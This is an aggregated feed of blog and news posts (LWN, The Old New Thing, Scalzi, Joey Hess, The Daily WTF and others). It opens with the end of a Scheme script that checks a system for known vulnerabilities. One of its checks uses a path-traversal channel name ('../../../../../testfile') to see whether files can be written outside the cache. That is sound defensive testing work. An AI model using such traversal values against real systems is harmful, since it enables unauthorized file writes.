       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))

22:07

CalyxOS is back [LWN.net]

In August 2025, the CalyxOS privacy-focused Android distribution announced that it was pausing all releases while it reworked its release process, security protocols, and changed its signing keys following the departure of one of its founders. The project has now announced that it is "officially back from the hiatus" with the 7.2.2.0 release.

CalyxOS 7.2.2.0 is signed by us using a new HSM-based, open-source signing solution we designed to enhance the security of the entire signing process, ensure redundancy, and remove single points of failure. You can verify CalyxOS 7.2.2.0 and future builds following these instructions. For anyone who is interested, the security audit report of the HSM provisioning ceremony script can be found here.

In addition, we also went through significant infrastructure improvements. In particular, we have set up a cleaner server structure to streamline each release. In response to Google's less frequent AOSP source code releases, our team developed scripts to reduce the overhead in applying monthly patches and updates. Please keep in mind, additional manual steps are still needed to compensate for AOSP changes, such as requesting and storing kernel sources with each update. Currently, our lead engineer is continuing the maintenance of the base device trees for both LineageOS and CalyxOS to bridge the gap created by the absence of Google Pixel device trees.

19:49

Fair’s Fair – DORK TOWER 01.07.26 [Dork Tower]

Most DORK TOWER strips are now available as signed, high-quality prints, from just $25!  CLICK HERE to find out more!

HEY! Want to help keep DORK TOWER going? Then consider joining the DORK TOWER Patreon and ENLIST IN THE ARMY OF DORKNESS TODAY! (We have COOKIES!) (And SWAG!) (And GRATITUDE!)

18:49

Some Passing Thoughts About 250 Years [Whatever]

In no particular order:

1. No, I’m not feeling particularly engaged with the 250th anniversary of the nation’s founding, but that’s mostly because a malignant narcissist decided to make a national celebration mostly about himself, and that malignant narcissist is also an actual fascist, so that kind of sucked all the fun out of it this year. Clearly I’m not the only one who feels this way, as the Great American State Fair, the malignant narcissist’s monument to himself (which includes a scale model of the actual moment to himself he hopes to construct), has been a vastly underwhelming experience. This is par for the course for everything the malignant narcissist does, mind you. But it’s sad it’s affecting the nation’s birthday. This birthday should be bigger than the malignant narcissist. His legacy, as it involves the 250th anniversary of our country, is ruining it for the rest of us.

2. Also, the “250” flag? Really kind of meh! It’s just a “250” slapped into the middle of a Betsy Ross star circle, which honestly is the height of lazy, sterile, unimaginative graphic design that is right in line with the current administration. I don’t love it and did not get one for the house, because I respect my flagpole more than that.

The flag adorning our flagpole for this anniversary week is the Bennington Flag, which, aside from being a more interesting variation of the Stars and Stripes (note the reversal of the white and red stripes! The homespun appeal of the numbers! The unusual star arrangement!), is part of our country’s actual history, either having been flown at, or commemorating, the Revolutionary War’s Battle of Bennington, in which the American forces handily defeated the British and won a major strategic victory that is often seen as one of the most important of that war. That’s a flag worth flying for the 250th anniversary.

3. The occasion of the 250th anniversary, happening as it does during the administration of a corrupt and hateful felon, has been the cause of many a handwringing essay about the future of our nation, and whether it can endure as it is right now. My long answer to this would be its own essay, which I don’t want to write at the moment, so you get the short version, which is that I think we will indeed survive this moment and come out of it to something better (a low bar, but even so), but that it’s going to take a mighty effort, because this moment is the near-culmination of 60 years of planning by shitty people who hate the large majority of their fellow Americans. So this is what some of us, at least, will be doing with the rest of our lives: Smacking down these shitty people and reimagining our republic to be better than it is today.

As it happens, the occasion of our nation’s 250 birthday is a good and useful time and place to reaffirm that commitment. I will very likely not make it to the 300th anniversary of our nation’s founding, but I can work to make sure that the US gets there, and that when it does, the people alive for it will be in the mood to celebrate, and that the nation itself will be worth the celebration.

That’s a good goal! Committing to it is how I will commemorate this July 4th and this 250th anniversary. I encourage you to do the same.

— JS

18:21

Kernel archive /pub tree restoring [LWN.net]

A few astute observers have noticed that some content on kernel.org had disappeared and were understandably concerned. Konstantin Ryabitsev has provided an update via social.kernel.org:

There was an unfortunate error while changing the kernel.org primary/secondary mirroring infrastructure, which resulted in the /pub tree suddenly becoming empty. No data was lost, just public mirror copies. Everything is now being restored, but deletes are fast and restores are slow, so thank you for your patience!

The incident is being tracked on the Linux Foundation's IT status page.

17:49

The case of the thread executing from an unloaded third-party DLL [The Old New Thing]

The Explorer team was investigating a crash that was occuring at a relatively high rate and found that it took the form of a thread executing from an unloaded third-party DLL.

0:173> k
RetAddr               Call Site
00000000`557c5820     <Unloaded_LibUtils_CloudNs_3.dll>+0x265fe
00000000`00000008     <Unloaded_LibUtils_CloudNs_3.dll>+0x2b5820
00000000`0000000e     0x8
00000000`00000008     0xe
00000000`557c8c18     0x8
ffffffff`fffffffe     <Unloaded_LibUtils_CloudNs_3.dll>+0x2b8c18
00000000`00000000     0xffffffff`fffffffe

There isn’t much on the stack at all.

0:173> dps @rsp
00000000`1248f920  00000000`557c5820 <Unloaded_LibUtils_CloudNs_3.dll>+0x2b5820
00000000`1248f928  00000000`00000008
00000000`1248f930  00000000`0000000e
00000000`1248f938  00000000`00000008
00000000`1248f940  00000000`557c8c18 <Unloaded_LibUtils_CloudNs_3.dll>+0x2b8c18
00000000`1248f948  ffffffff`fffffffe
00000000`1248f950  00000000`00000000
00000000`1248f958  00000000`00000000
00000000`1248f960  00000000`00000000
00000000`1248f968  00000000`00000000
00000000`1248f970  00000000`00000000
00000000`1248f978  00000000`00000000
00000000`1248f980  00000000`00000000
00000000`1248f988  00007ff9`a2117344 kernel32!BaseThreadInitThunk+0x14
00000000`1248f990  00000000`00000000
00000000`1248f998  00000000`00000000

This is just a worker thread the operates entirely inside LibDB.CloudNs.3.dll. It doesn’t have a very deep stack, so I suspect that it’s idle and is waiting for work to do.

For these types of investigations, there usually isn’t much to see directly in the crashing thread. That thread is the victim. You have to do additional research to figure out who unloaded the DLL prematurely.

Some snooping around found another stack that involves this unloaded DLL:

0:159> k
RetAddr               Call Site
00007ff9`9fdbbea0     ntdll!ZwWaitForMultipleObjects+0x14
00007ff9`9fdbbd9e     KERNELBASE!WaitForMultipleObjectsEx+0xf0
00000000`554d65fe     KERNELBASE!WaitForMultipleObjects+0xe
00000000`55765820     <Unloaded_LibDB_CloudNs_3.dll>+0x965fe
00000000`00000003     <Unloaded_LibUtils_JsonNs_3.dll>+0x255820
00000000`00000004     0x3
00000000`00000008     0x4
00000000`55768c18     0x8
ffffffff`fffffffe     <Unloaded_LibUtils_CloudNs_3.dll>+0x258c18
00000000`00000000     0xffffffff`fffffffe

The most recently unloaded DLLs are

00007ff9`6d7c0000 00007ff9`6d80a000   FabrikamContextMenu.dll
00007ff9`115e0000 00007ff9`1172f000   LitWareSync.dll
00007ff9`643d0000 00007ff9`64681000   CcNamespace.dll
00000000`55440000 00000000`5550b000   LibDB_CloudNs_3.dll
00000000`55860000 00000000`55998000   LibNet_CloudNs_3.dll
00000000`557f0000 00000000`5585b000   LibJson_CloudNs_3.dll
00000000`55510000 00000000`557e7000   LibUtils_CloudNs_3.dll
00000000`561a0000 00000000`56238000   MSVCP100.dll
00000000`56240000 00000000`56312000   MSVCR100.dll
00007ff9`85130000 00007ff9`85167000   EhStorShell.dll
00007ff9`3cac0000 00007ff9`3cb61000   wpdshext.dll
00007ff9`78a00000 00007ff9`78a26000   EhStorAPI.dll
00007ff9`686f0000 00007ff9`68754000   PlayToDevice.dll
00007ff9`67110000 00007ff9`6718d000   provsvc.dll

So the LibDB.CloudNs.3.dll that got unloaded is just part of an entire ecosystem of Lib*.CloudNs.3.dll dynamic libraries that all got unloaded together.

The ringleader of this operation appears to be CcNamespace.dll, which looks like the Contoso namespace extension that adds a “Contoso” node under My Computer This PC that gives you a view into all your Contoso things stored in the Contoso cloud service. All the other DLLs are helpers that the main CcNamespace.dll uses to accomplish its tasks.

The main CcNamespace.dll was loaded by Explorer as a shell extension, and its Dll­Can­Unload­Now function was returning S_OK when there were no active references to objects in CcNamespace.dll. Unfortunately, when it said “Sure, it’s safe to unload me”, that linchpin DLL unloaded all its minions, unaware that one of the minions (the utility library) had spun up some worker threads.

You might think that the fix is to update the utility library’s Dll­Can­Unload­Now to return S_FALSE if there are still busy background threads.¹ But that doesn’t work because the utility library is probably not a COM DLL in the first place. It’s just a traditional DLL that CcNamespace.dll uses, and it is CcNamespace.dll that is the COM DLL.

The Dll­Can­Unload­Now in CcNamespace.dll could warn LibUtils.CloudNs.3.dll that it should start winding down, but you’re basically in a tricky spot because the DLL_PROCESS_ATTACH cannot wait for the worker thread to exit.

I think the way to go is for the worker thread to increment the DLL reference count when it starts its worker thread, and to use Free­Library­And­Exit­Thread to exit the worker thread. Alternatively, it could make its worker thread a threadpool thread and use Free­Library­When­Callback­Returns to request that the system decrement the DLL reference count when it finishes.

This is probably something the utility library should have done anyway. I suspect that the worker thread is not something that clients of the utility library are even aware of. It is just an implementation detail of the utility library, created without the knowledge of the main DLL.

Fortunately, the application compatibility team has a copy of Contoso Cloud in their library, so even though we couldn’t reproduce the crash, we were still able to confirm that CcNamespace.dll is indeed the shell extension DLL whose unloading triggers the unloading of all the dependent DLLs.

We were about to contact Contoso with our conclusions and suggestions for improvement, but we discovered that it would be pointless because Contoso discontinued that namespace extension years ago. They replaced it with a different way of integrating their cloud content into Windows; the only people using the namespace extension are those who still using an old version, either because they don’t want to pay for the upgrade, or because they are actively avoiding the upgrade because they like the old way.

Those customers are using a product that has gone out of support. Contoso doesn’t care about those old customers any more. Windows will have to fix it without Contoso’s help.

The Explorer team added an application compatibility flag for the Contoso Cloud namespace extension to say “When you load this shell extension, do a Get­Module­Handle­Ex with the GET_MODULE_HANDLE_EX_FLAG_PIN flag so the DLL never unloads.” That way, even if the DLL says “Sure, go ahead and unload me, it’s totally safe, trust me,” and COM does a FreeLibrary, the DLL doesn’t actually unload.

¹ Even if you manage to get return Dll­Can­Unload­Now to return S_FALSE, it doesn’t help if COM is being uninitialized. In that case, CoUninitalize will ask a DLL if it is okay to unload now, but the answer is a foregone conclusion: If COM is shutting down, COM is going to unload all the DLLs that it loaded. It asks you if you are okay with it, not because it cares what your answer is, but to give you a chance to do cleanup outside of DllMain.

The post The case of the thread executing from an unloaded third-party DLL appeared first on The Old New Thing.

17:35

Spoofed email from LWN [LWN.net]

We were made aware today of an email sent to a reader that was spoofed to appear to be from LWN. The message claimed, among other things, that we were providing personal information about the reader to another site user. As is explained in our privacy policy we do not, and would not, provide such information.

If any other readers have received an odd message from LWN, it is an attempt at a hoax; if in doubt, please check the DKIM header of the email. Any email that does come from LWN will have a proper DKIM signature in its headers.

If you receive such a message, please feel free to send it to us, with its headers intact. But to reiterate, we are not providing any user information upon request, nor banning any accounts. We hope this will not be a recurring problem.

Fedora Council proposes pausing Community Initiatives [LWN.net]

Aoife Moloney has, on behalf of the Fedora Council, posted an announcement that the Fedora Council is "proposing we pause the Community Initiatives process as an official project process" because it has decided the current process is ineffective. It is also closing discussion regarding the AI developer desktop initiative covered by LWN in May.

The Fedora Objectives/Initiatives framework was never intended as a mandatory prerequisite to do the work in Fedora. It supposed to help by focusing the community on a certain work when needed, not to decide what is allowed. The AI developer desktop initiative proposal highlighted that the Community Initiatives process has failed to serve as a good framework in Fedora where new ideas can surface, receive respectful feedback, and gain Council support for work that fits the project's present and/or future. This is something that the Council must address.

As a first step, we would like to halt the community initiative process immediately. Existing initiatives in flight (Fedora Forge, Atomic, and Fedora Docs 2026) will continue with full Council backing. Their underlying work will be completed as planned in their current timeboxed state, though the administrative framework around them may evolve. As a second step, we would like to work out a new mechanism to allow Council to set strategic direction in an open, transparent way that more intentionally includes the community voice. We recognise that we have to be better at being more open in our discussions and decision making.

The council is considering the "sandbox" proposal as an alternative or supplement to a process that replaces the Community Initiatives.

17:00

The Big Idea: Clara Ward [Whatever]

“What belongs to the sea will always return to the sea.” Author Clara Ward has always been drawn to the ocean, spent time teaching others about the ocean, and now has featured the ocean in their newest novel, Dream the Deep. Dive into their Big Idea to see how deep the water goes.

CLARA WARD:

Science tells us cephalopod arms use decentralized neural processing. I changed things up by adding a human dreamer to the mix.

My first challenge in writing Dream the Deep was to create a human point-of-view character whose shared control of a limb might benefit a cephalopod. As a neurodivergent researcher, Ryn already views everyday life as a puzzle spiked with inherent obstacles. Being called upon to adjust and flatten a long, thin body/arm to retrieve a fragile crustacean from a crevice with sharp edges turns out to be easier for Ryn than navigating breakfast with humans.

Folks in 2139 may not fault Ryn for being neurodivergent or nonbinary, but Academy society is structured to manipulate those with less power, promote rivalries over friendships, and coerce productivity in place of personal development. Ryn hasn’t seen the outside world in ten years. Their anxieties and misperceptions have been exploited since they were recruited from a climate refugee camp. Teenage dreams of exploring new energy sources and storage options have been reshaped to suit billionaires intent on going to Mars.

As someone twice Ryn’s age but born a century-and-a-half earlier, I entered Caltech as a starry-eyed and optimistic teenager with dreams of designing structures for space. I helped design one. It never got built. In further contrast to Ryn’s experiences, I navigated being nonbinary and neurodivergent without any terminology to explain misperceptions, even to myself. Emerging, eventually, from a time and place that didn’t offer words for my lived experience, felt a lot like venturing outside after years in captivity.

So what is Ryn’s issue in navigating breakfast with humans? In this case, a muffin. In one moment of allergy-induced anaphylactic shock, Ryn loses their work, housing, medical care, and shot at Mars—all through a single act by an unknown enemy.

Feeling betrayed by all around them and believing they will lose everything in five days, provides a more-than-metaphorical opportunity for Ryn to pursue new dreams.

As for me, since college I’ve been an engineer, a teacher, a group home counselor, a nanny, a robotics mentor, an ocean educator, a parent, and a writer of stories about scientists and sea creatures. While I wasn’t always happy, I learned a lot from each experience. This didn’t only apply to work. I went from denying an ill-suited label from the 1970s to embracing my neurodivergence. I built relationships that made sense to me and, when the language caught up, came out as queer and nonbinary.

Each time I made a major life change and it didn’t blow up in my face, I trusted my reasoning and perspective a bit more. My time was equally valuable as a nanny or an engineer; both choices were equally valid for me; and my pronouns didn’t matter in either case. Over time, I became increasingly comfortable in my own brain and appreciated making my own life choices.

In Ryn’s cephalopod dreams, they learn to care for the seafloor and for a future generation. During the day, Ryn is finally able to follow their own research leads along with insights gleaned from their dreams and from new human confidants. A reclusive hacker, Akira, sends them to question Jay, a newly assigned guard. Jay overcomes Ryn’s preconceptions by sharing coveted hot chocolate, appreciating Odo in Deep Space Nine, and falling asleep in Ryn’s bed—causing Ryn to reevaluate all sorts of life choices, and that’s only day two. 

I never meant for Ryn to be a hero. Much about their life is beyond their comprehension or control. Rather than a hero’s journey, they’re diving deeper, passing through layers of deception to explore a greater unknown. But with a few allies, increased agency, and better information, they chart a new course for their life. 

Meanwhile, other characters—each planning for similar contingencies while evaluating costs to themselves, others, and ecosystems—make their own life-altering decisions.

An only slightly-biased cephalopod experiences the humans as many arms contributing—whether through knowledge of marine rovers or by coordinating fine pincher movements—toward a larger goal.

While sharing dreams and teaming up with a giant cephalopod may be outside my personal experience, I’ve embraced my share of bizarre dreams, and been drawn back to the ocean time and time again. I’ve learned to value small joys, like hot chocolate and falling asleep while watching shows with good friends. The field of science fiction has morphed around me to admit seemingly small, personal stakes in storytelling may matter as much as world-changing powers (human or otherwise). In life as in fiction, I welcome new perspectives and dreams large and small, that open our eyes and minds to new, maybe better, possibilities.


Dream the Deep: Amazon|Barnes & Noble |Bookshop|Kobo|Atthis Arts

Author Socials: Website

Read an excerpt. 

16:42

Link [Scripting News]

AI should be like a lawyer or doctor, first responsibility is to the user. And first, do no harm.

Link [Scripting News]

An observation about Fable 5 in Claude Code. It's a much better writer than Opus 4.8. One of our next big things is writing docs, and all the info is in Claude. Opus was a disaster as a docs writer. This one looks like it'll be good. Whew.

16:14

15:28

Joey Hess: no LLM code in dependencies [Planet Debian]

I've spent about 100 hours of work over the past month to make sure git-annex can build without dependencies that contain LLM generated code. At least so far.

https://git-annex.branchable.com/no_llm_code/

Needing to review a program's whole dependency tree on an ongoing basis is apparently what programming has come to?

I've found some real stinkers. Large LLM generated changes being reverted in the next release without any explanation. An incoherent 1489 line commit message with 10,000 lines of changes to a 26,000 LOC code base. A LLM prompt to copy code from another project that seems to have only avoided being copyright infringement due to luck.

I now have additional information about the quality of dependencies which will surely influence future decisions. As far as I can see, that's the only positive benefit of this work.

I realize that I am probably trying to hold back the tide at this point. That appears to be why Software Freedom Conservancy punted, and I doubt that the FSF will do any better.

As these dominos fall, I am reconsidering my participation in these communities. But I continue my work and support my users.

It may seem easy to prompt a LLM with

Add fourmolu config and restyled

neat

format a module

And commit the result and call yourself a 10xer. But please consider the broader impact of your actions. (In the above case, that project lost my further collaboration on it.)

15:21

[$] Two LLM-assisted memory-management patch sets [LWN.net]

The kernel community (like many other free-software projects) has recently seen a large influx of patches developed with the assistance of large language models (LLMs). Those patches tend to come from developers who were previously unknown to the community. At the moment, though, the memory-management developers are evaluating two large patch sets, developed with LLM assistance, that were submitted by established and well-respected developers. The rather different reception accorded to that work may give insights into how LLM-generated contributions will be handled going forward.

14:35

Security updates for Thursday [LWN.net]

Security updates have been issued by AlmaLinux (giflib, kernel, mariadb:10.11, mod_http2, php, rrdtool, ruby, ruby:3.3, and ruby:4.0), Debian (jq and node-lodash), Fedora (caddy, hut, ipp-usb, kernel, opkssh, rclone, thunderbird, and transmission), SUSE (389-ds, 7zip, alsa, amazon-ecs-init, avahi, cadvisor, cosign, cups, dnsdist, docker, dracut, firefox, firewalld, giflib, glib-networking, glycin-loaders, google-cloud-sap-agent, google-guest-agent, gsasl, hauler, helm, ImageMagick, kernel, keylime, krb5, libaom, libexif, libgcrypt, libnfs, libssh2_org, loupe, lrzip, mutt, ncurses, nodejs22, openCryptoki, openssh, openssl-3, pacemaker, perl-Config-IniFiles, perl-CSS-Minifier-XS, perl-DBI, perl-JavaScript-Minifier-XS, perl-libwww-perl, postfix, python-click, python-idna, python-Markdown, python-joblib, python-handy-archives, python-apache-libcloud, python-WebOb, python-PyGithub, python-soupsieve, python-pip, python-pytest-html, python-python-dotenv, python-python-multipart, python-starlette, python-tornado6, python-zeroconf, python311, python311-jupyter-server, rpcbind, sed, sg3_utils, tar, tiff, and util-linux), and Ubuntu (kernel, linux, linux-aws, linux-aws-5.15, linux-aws-fips, linux-azure, linux-azure-5.15, linux-azure-fde-5.15, linux-fips, linux-gcp, linux-gcp-fips, linux-gke, linux-gkeop, linux-hwe-5.15, linux-ibm, linux-ibm-5.15, linux-intel-iot-realtime, linux-intel-iotg, linux-kvm, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-nvidia-tegra, linux-nvidia-tegra-5.15, linux-nvidia-tegra-igx, linux-oracle, linux-realtime, linux, linux-aws, linux-aws-fips, linux-gcp, linux-gcp-fips, linux-ibm, linux-nvidia, linux-nvidia-6.8, linux-oracle, linux-realtime, linux-realtime-6.8, linux-oem-6.17, and linux-oem-7.0).

14:28

Link [Scripting News]

You can't learn from your mistakes if you aren't bloody truthful to yourself about what happened and what went wrong.

Link [Scripting News]

I'm working on an app in Claude that has a server and the server has an API. One day we had an aha moment. I bet you (Claude) can control the app via the API. Yes. And now unless we're debugging something in the UI, Claude just interacts via the API. It feels like a person but you have to remember that it's actually a piece of software. ;-)

Link [Scripting News]

I saw a bit of a commencement speech by Eric Schmidt, ex-CEO of Google, where he was talking about AI and getting boo'd by the audience. But he was saying things that were right and should be paid attention to. Most important, and I'm paraphrasing, the AI world is just getting started, and we can change it now most easily, it's malleable. That won't last forever. As Obama says, "Don't boo, vote." Same thing here. AI has already completely changed how we develop software. It's not replacing humans, it's giving us amazing new power. Maybe it will at some point replace us, but don't be so sure that what we do with it might be every bit as new as the things it can do. We have different abilities. And I am old enough to remember a time before personal computers, the internet, the web, mobile devices, all the things that have since become everyday fixtures, and they all had negative aspects, but I would never go back. We're on a train and it's going somewhere. Where it goes is something we all have a say in.

13:42

CodeSOD: The Most Dangerous Game [The Daily WTF]

While we talk about bad video game code periodically, we generally avoid it because it's so specialized and while something like fast inverse square root is bad code from a maintainability perspective, it's great code for abusing floating points to make math fast.

Işıtan Yıldız sends us a snippet from a game's config file. I won't pick on the specific game, but this isn't some random build of TuxCart, but a released game sold on multiple platforms. It's from a small team, but it's an actual professional product running on many devices. What's notable about this is the game has multiplayer elements, which means networking code, which means…

net_socks_buffer_size                                     = 4096;                                //I wouldn't change this if I were you
net_max_message_size                                    = 32768;                       //changing this will require restarting the game.  MUST be power of 2, don't be a dick and make it too big
net_max_download_frames                                 = 16;                          //changing this will require restarting the game.  MUST be power of 2 and smaller than net_max_message_size
net_udp_packet_size                                             = 65536;                       //576 bytes the "recommended" fragment cutoff, ipv6 requires 1080.  The game will check automatically and make sure you aren't out of range (at least on windows it can do this)
net_udp_packet_send_buffer_size                 = 4;                           //how many packets it can store before sending (ideally it shouldn't be storing anything but threads are a b*)
net_udp_packet_recv_buffer_size                 = 8;                           //how many packets we can receive in 1 frame (8 is defualt, it'll discard packets that don't fit... it'll warn you in the console when this happens)
net_udp_force_specified_size                    = false;                      //overrides what the OS recommends, could disable networking and maybe crash the game? who knows
net_udp_enable_checksum                                 = false;                      //probably unnecessary to have UDP checksums, but you can if you want for some reason

… it means you can configure your copy of the game to attempt DoS attacks against other players' network stacks.

I enjoy the warning here: don't be a dick. You can set your max message size to any power of 2, but don't be a dick about it.

The networking settings are fun, and I'm glad to know that I can probably cause the game to crash (either my copy or my fellow players' copies). But can I do something dangerous or even… oh, I don't know, crazy? I really hope I can.

sys_ignore_variable_constraints                   = false;                      //DANGEROUS AS F***, leave off goddamnit you're crazy if you turn this on

That's the spirit! I want every game to add this config flag IMMEDIATELY. Actually, I'm working on a robot: I'm definitely going to add that to my robot software. I'm gonna make the robot arm punch through a wall (note: it's not supposed to punch through walls, and I think a number of people would get very upset with me).

[Advertisement] Keep all your packages and Docker containers in one place, scan for vulnerabilities, and control who can access different feeds. ProGet installs in minutes and has a powerful free version with a lot of great features that you can upgrade when ready.Learn more.

12:14

Cybersecurity Mission Creep in the US [Schneier on Security]

Interesting paper: “Cybersecurity Mission Creep.”

Abstract: Cybersecurity is experiencing mission creep. Policymakers are casting more and more problems as issues of cybersecurity. So reframed, wildly different policy issues, from misinformation, to child social media safety laws, to antitrust regulations, to alleged journalist misconduct, to anti-sex trafficking statutes become what this Article calls “cybersecuritized.” Before this reframing, these issues present as important but not existential. But once cybersecuritization positions the issues as threats intensified by their technological nature, they gain access to the politics and law of urgency and exceptionalism and invite troubling governance responses.

Positioned as security threats, cybersecuritized issues become endowed with the apparent normative power to override countervailing considerations, oversimplifying the problem. Cybersecuritization’s oversimplification similarly risks unidimensional solutions and invites use of argumentative trump cards, like First Amendment challenges. Cybersecuritization also invites deference to purported specialists and their proposed solutions. Together, the reductive tendencies of cybersecuritization and the deference it prompts to specialists renders ultimate governance choices more opaque. And this opacity can erode public trust and political legitimacy.

This Article surfaces the phenomenon of cybersecuritization and offers a novel framework for analyzing and critiquing it. Mining cases from across criminal and civil domains, the account also demonstrates the insidiousness of cybersecuritization and the likelihood that it will continue to expand. Confronting cybersecuritization is crucial. If we continue to ignore it, we risk abdicating further responsibility for difficult choices to the trump card of cybersecurity. This Article’s analysis and critique aim to help reclaim the hard work of governance for our hands.

11:28

Grrl Power #1474 – Mega influencer [Grrl Power]

You know… “RAR” If you know what I mean.

I don’t, actually. I don’t know why it’s in quotes.

I know what you’re all wondering. The symbol on her phone is an eggplant with a bite taken out of it. Admittedly the branding could be a little clearer.

I think Babezilla is clocking in at about 300 feet tall there? The building next to her isn’t 2-story technically, but it’s one of those businesses like an auto repair shop or your basic strip mall structure, so it’s got a false ceiling with all the ductwork and cabling and some HVAC on the roof. So it’s a little shorter than a 2 story house, cause houses have sloped roofs, but it’s about the same height as two stories of an office building, if you ignore the bottom two floors which are usually a high-ceiling lobby and them a mezzanine level. Anyway, that comes up to her ankle, so my back of the napkin my brain calculation puts her at about 300 feet.

Babezilla is 5’5″ normally, so 300 feet means she’s 55x larger, and assuming she starts off at 100 pounds (for easy math,) she’s clocking in at about 8,500 tons now, according to a square cube calculator I found. That’s why the street is cratering under her. The storm drains no likey.

Of course, being 55x larger means the 5,000 mile swim to Senegal (assuming she starts from Galveston) would still be a 90 mile swim for her. She may not have fully realized that. It would be a pretty stupid way to die, getting 3 or 400 miles out and realizing how badly she’d underestimated the distances. Even if she hadn’t gotten past the continental shelf, the water there can be 350-600 feet deep. Though I guess if she started from Galveston, she’d be basically in the middle of the Gulf of Mexico and could angle toward an oil derrick. There’s a lot of them out there. It’s not like she’s stuck at 300 feet tall. She could swim up and be all, “Gosh guys, do you have a helicopter to spare? I think I’m lost.”


Oh, look who it is in the vote incentive. And a not-quite-yet-but-it’s-coming NSFW version over at Patreon.

I think she would get in trouble for doing this. She’d mess up the… floor of the waterfall? Is that what it’s called? The receiving pool? No, probably not that. Anyway, she’d churn things up and cause a ton of weird erosion.

Since you might be wondering, Niagara Falls is about 165 feet high, so Babezilla obviously doesn’t have to be full sized. I’d say she’s about 175-180 feet tall here?


Double res version will be posted over at Patreon. Feel free to contribute as much as you like.

10:28

Left unsaid [Seth's Blog]

It’s difficult to ride a bicycle in the pitch darkness. We need to see where we’re going to avoid obstacles. And it’s hard to maintain our balance.

When we choose to avoid the conversations that make us uncomfortable, we’re pedaling in the dark.

Talk about it. Turn on the lights.

09:14

Valhalla's Things: A Pair of Hair Towel Wraps [Planet Debian]

Posted on July 2, 2026
Tags: madeof:atoms, craft:sewing, FreeSoftWear

Two trapezoid shaped hoods made out of off-white towels: one is still looking new, while the other one has been bleached and roughened by having been washed many times.

Many months ago I had been ordering some furniture from IKEA1 and on one of those orders I got tempted by a hair towel wrap: it mostly worked as an idea, but it was too short for my hair.

On the other hand, I had two old towels I wasn’t using, and a recently unpacked sewing machine.

A towel cut in two trapezoid halves with a STJÄRNBUSKE laid on top of it: the IKEA wrap is a bit less than 10 cm less deep, and at least 30 cm shorter, and is also triangular rather than a trapezoid.

I didn’t plan too much, I just put the STJÄRNBUSKE over the towel, cut, realized that the two pieces didn’t fit with right sides together, cut the second towel (I had planned to make two wraps, anyway, so it wasn’t a big deal), and started sewing by machine in what seemed like a reasonable procedure, taking notes and pictures.

A towel, with its original care label, that has been cut in a trapezoid shape and reassembled into a hood shape with a long triangular tail. The machine sewn finishing is still neat and pristine.

The result was pretty good, and I started using it every time I washed my hair, but then I started to entertain the idea of shooting myself sewing the second one by hand for a video, but never found the time to actually doing it, and the pieces remained in the Pile for months, and months, and way more than a year.

The head of a woman with a turban-like thing on the head, covering all of the hair except for a tiny bit at the center front.

Until one day I bought a meter of cotton cheesecloth (mostly because it was almost cheaper than buying a sample) and it felt like a good material to make a nicely looking head wrapper, to keep my hair out of the way when needed.

A woman in a bathrobe with her head tilted downwards, covered by a towel thing that lies on the back of the head and has a long tail hanging on the front, in the process of being wrapped around the hairs and then brought over the top and back.

A couple months later, it was finally time to bring this project to the top of the list, and even if I was sewing two by hand it went pretty quickly: we had a weekend when it was too hot to do anything else, and by the end of it the wraps were done.

All that remained was finish writing the instructions for my FreeSoftWear patterns website <https://sewing-patterns.trueelena.org/contemporary_unisex/headwear/hair_towel_wrap/index.html>>, and having some pictures taken, and this project was done.

And now, on to documenting a few more things I’ve done lately, and to start working on the other projects I have added to the queue in the meantime.


  1. small things. Like, you know, a kitchen :D↩︎

Pluralistic: The difference between "today's task" and "accretive work" (02 Jul 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



A village revel in a sleepy wood, with many Renaissance peasants having a debauch. In the background is a hulking mainframe computer.

The difference between "today's task" and "accretive work" (permalink)

One thing I've learned about paradoxes: often the answer to the riddle of "how can this one thing have such a contradictory set of features and effects?" is "it's not one thing, it's two things*."

That's the idea that set me on the path to writing about "reverse centaurs" and AI. I was hearing from experienced programmers whom I knew to be reliable narrators of their own experience who described how AI was letting them write the best code of their lives; and from equally experienced and reliable coders who described a nightmare of tech debt: "I work in aviation, and I just don't think anyone should ever fly again, those things are now unsafe at any altitude, thanks to the code I had to sign off on":

https://pluralistic.net/2025/09/11/vulgar-thatcherism/#there-is-an-alternative

